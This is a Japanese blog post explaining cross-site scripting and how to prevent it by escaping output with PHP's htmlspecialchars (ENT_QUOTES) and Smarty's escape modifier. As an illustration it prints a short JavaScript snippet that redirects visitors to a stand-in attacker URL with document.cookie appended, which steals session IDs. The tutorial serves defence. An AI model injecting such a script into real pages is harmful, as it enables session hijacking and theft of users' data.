スポンサーサイト

一定期間更新がないため広告を表示しています

| スポンサードリンク | | - | - | pookmark |
Entry: main  << >>
XSS/クロスサイト・スクリプティングとエスケープ処理
入力フォームに記述されたHTMLやJavaScriptがそのまま実行されてしまうと、HTMLの表示が制作者が意図したものと違うものになってしまうといった問題の他に、以下のようなセキュリティ面での問題が出てくる。

  • cookieの値をWebブラウザから取得し、このcookie内のセッションIDを取得してセッションハイジャックを行う。

  • ページ内容を書き換えてフィッシングを行う。

  • フォームのアクション先を改竄して(別ページに飛ばして)ユーザからの入力値を盗む。


たとえば、以下はJavaScriptを使用したcookie値をブラウザから盗むスクリプト。
<script type="text/javascript">
    // cookie情報をGETに付加して、攻撃者のサイトへリダイレクトさせる
    location.href = "http://cracker.url/?" + document . cookie;
</script>

このスクリプトは、他の一般ユーザが投稿記事を閲覧したタイミングで実行される。すると、一般ユーザのセッションIDが攻撃者のサイトに通知されてしまう。

こういったXSSの脆弱性からサイトの利用者を守るためには、ブラウザが認識するHTMLタグ構成文字列を無害な文字列に「エスケープ」する必要がある。

エスケープ処理する必要のある文字列の例
& -> &amp;
< -> &lt;
> -> &gt;
' -> &#39;
" -> &quot;

文字列に対してすべてエスケープ処理を施すのは大変だが、PHPで用意されているhtmlspecialchars関数を利用することにより、簡単にエスケープ処理することが可能。

本文をエスケープ処理する
<?php
    print htmlspecialchars($body, ENT_QUOTES);
    // 第二引数にENT_QUOTESを与えないとシングルクォーテーションが
    // エスケープされないので、必ず指定すること
?>

XSSの完全な対策として、変数が安全だと分かっていても「出力する全ての変数」にこの処理を行う必要がある。Smartyのescape修飾子{$body|escape}を利用すると、htmlspecialchars($body,ENT_QUOTES); と同様の処置を行ってから出力してくれる。

出力する全てのSmarty変数にこの処置をするのは面倒だが、この処置を忘れるといつでもXSSの危険に晒されることになるので注意。
| php | 12:27 | comments(0) | trackbacks(0) | pookmark |
スポンサーサイト
| スポンサードリンク | 12:27 | - | - | pookmark |
Comment








Trackback

Calendar

   1234
567891011
12131415161718
19202122232425
262728293031 
<< March 2017 >>

Recommend

Recommend

Recommend

Profile

Search

Entry

Comment

Archives

Category

Link

Feed

Others

無料ブログ作成サービス JUGEM

Mobile

qrcode

Sponsored Links